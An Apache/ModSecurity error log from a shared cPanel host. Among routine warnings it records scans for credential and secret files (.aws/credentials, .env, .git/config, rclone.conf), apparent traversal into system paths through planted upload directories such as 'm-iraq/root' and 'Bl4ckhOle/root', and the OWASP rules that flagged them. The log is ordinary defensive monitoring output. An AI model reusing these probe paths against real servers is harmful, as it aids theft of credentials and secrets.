[Fri Jul 17 07:54:00.149728 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSQHt8zp89pALg8Q5e5AAAAA4"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:54:00.149760 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSQHt8zp89pALg8Q5e5AAAAA4"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:54:01.059739 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:02.694677 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:02.877840 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:02.987574 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:03.060387 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/mbcache/partial
[Fri Jul 17 07:54:03.621277 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/pcspkr/drivers/platform:pcspkr/bind
[Fri Jul 17 07:54:03.809034 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/node/node0/memory74/subsystem/uevent
[Fri Jul 17 07:54:04.151664 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:04.273966 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:04.495736 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:04.557009 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory104/node0/compact
[Fri Jul 17 07:54:04.651621 2026] [core:error] [pid 1993571:tid 1993571] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/node/node0/memory37/subsystem/uevent
[Fri Jul 17 07:54:05.123567 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/cpu1/crash_notes
[Fri Jul 17 07:54:05.888954 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:05.890012 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:06.903149 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:07.460505 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:07.544806 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:08.092541 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:09.392354 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:09.420851 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:09.537560 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:09.565961 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:09.856213 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input1/device/driver/description"] [unique_id "almSSUhq6UAnqYko0LpQJQAAABE"]
[Fri Jul 17 07:54:09.856242 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input1/device/driver/description"] [unique_id "almSSUhq6UAnqYko0LpQJQAAABE"]
[Fri Jul 17 07:54:11.893178 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:12.017502 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:16.145644 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:17.584507 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:20.207170 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSVHjA8yK8B7kryx3a7wAAAAk"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:54:20.207208 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSVHjA8yK8B7kryx3a7wAAAAk"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:54:25.252852 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.aws/config"] [unique_id "almSWXjA8yK8B7kryx3a8QAAAAk"]
[Fri Jul 17 07:54:25.253144 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.aws/config"] [unique_id "almSWXjA8yK8B7kryx3a8QAAAAk"]
[Fri Jul 17 07:54:25.257549 2026] [security2:error] [pid 1993604:tid 1993604] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.git/HEAD"] [unique_id "almSWYha5y5fYnQ1qRro8QAAAAE"]
[Fri Jul 17 07:54:25.257813 2026] [security2:error] [pid 1993604:tid 1993604] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.git/HEAD"] [unique_id "almSWYha5y5fYnQ1qRro8QAAAAE"]
[Fri Jul 17 07:54:25.260790 2026] [security2:error] [pid 1994446:tid 1994446] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/z9x8c7v6b5-debug-trigger-ajsstarlog.com"] [unique_id "almSWV2NhE8i6ppze4enVAAAAAs"]
[Fri Jul 17 07:54:25.261205 2026] [security2:error] [pid 1994446:tid 1994446] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/z9x8c7v6b5-debug-trigger-ajsstarlog.com"] [unique_id "almSWV2NhE8i6ppze4enVAAAAAs"]
[Fri Jul 17 07:54:25.261793 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.git/config"] [unique_id "almSWY1dLClkUfK_dfHaYgAAAAI"]
[Fri Jul 17 07:54:25.262155 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.git/config"] [unique_id "almSWY1dLClkUfK_dfHaYgAAAAI"]
[Fri Jul 17 07:54:25.262526 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.gitlab-ci.yml"] [unique_id "almSWUhq6UAnqYko0LpQMAAAABE"]
[Fri Jul 17 07:54:25.262744 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.gitlab-ci.yml"] [unique_id "almSWUhq6UAnqYko0LpQMAAAABE"]
[Fri Jul 17 07:54:25.265937 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.aws/credentials"] [unique_id "almSWXRlmrtCoY_COpcbjAAAAAg"]
[Fri Jul 17 07:54:25.266293 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.aws/credentials"] [unique_id "almSWXRlmrtCoY_COpcbjAAAAAg"]
[Fri Jul 17 07:54:25.269747 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".gitconfig" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitconfig found within REQUEST_FILENAME: /.gitconfig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.gitconfig"] [unique_id "almSWQ5GPQ6hs4VrfMo3RQAAAAY"]
[Fri Jul 17 07:54:25.270085 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.gitconfig"] [unique_id "almSWQ5GPQ6hs4VrfMo3RQAAAAY"]
[Fri Jul 17 07:54:25.270227 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/rclone.conf"] [unique_id "almSWWidQp3SsqeycPEmRwAAAAo"]
[Fri Jul 17 07:54:25.270515 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/rclone.conf"] [unique_id "almSWWidQp3SsqeycPEmRwAAAAo"]
[Fri Jul 17 07:54:25.307843 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_65d4de57728bd_5. EPI VPD review_RE presentation format_2023.ppt"] [unique_id "almSWbyEqmgiTSUa55oBOwAAABA"]
[Fri Jul 17 07:54:25.308349 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_65d4de57728bd_5. EPI VPD review_RE presentation format_2023.ppt"] [unique_id "almSWbyEqmgiTSUa55oBOwAAABA"]
[Fri Jul 17 07:54:25.308845 2026] [security2:error] [pid 1994966:tid 1994966] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_65d4de57728bd_5. EPI VPD review_RE presentation format_2023.ppt"] [unique_id "almSWbyEqmgiTSUa55oBOwAAABA"]
[Fri Jul 17 07:54:25.392083 2026] [hostinglimits:warn] [pid 1993573:tid 1993573] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:25.570735 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWXjA8yK8B7kryx3a8QAAAAk"]
[Fri Jul 17 07:54:25.583005 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env"] [unique_id "almSWRAi3pC6yjXGNq12hgAAAAU"]
[Fri Jul 17 07:54:25.583272 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env"] [unique_id "almSWRAi3pC6yjXGNq12hgAAAAU"]
[Fri Jul 17 07:54:25.595713 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:39874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:25.595871 2026] [security2:error] [pid 1993573:tid 1993573] [client 57.141.18.113:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory74/subsystem/devices/memory121/node0/memory106/node0/memory37/phys_index"] [unique_id "almSWXt8zp89pALg8Q5e-AAAAA4"]
[Fri Jul 17 07:54:25.595901 2026] [security2:error] [pid 1993573:tid 1993573] [client 57.141.18.113:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory74/subsystem/devices/memory121/node0/memory106/node0/memory37/phys_index"] [unique_id "almSWXt8zp89pALg8Q5e-AAAAA4"]
[Fri Jul 17 07:54:25.636694 2026] [security2:error] [pid 1993659:tid 1993659] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.example"] [unique_id "almSWZOFLENLI63GGOED2wAAAAQ"]
[Fri Jul 17 07:54:25.636955 2026] [security2:error] [pid 1993659:tid 1993659] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.example"] [unique_id "almSWZOFLENLI63GGOED2wAAAAQ"]
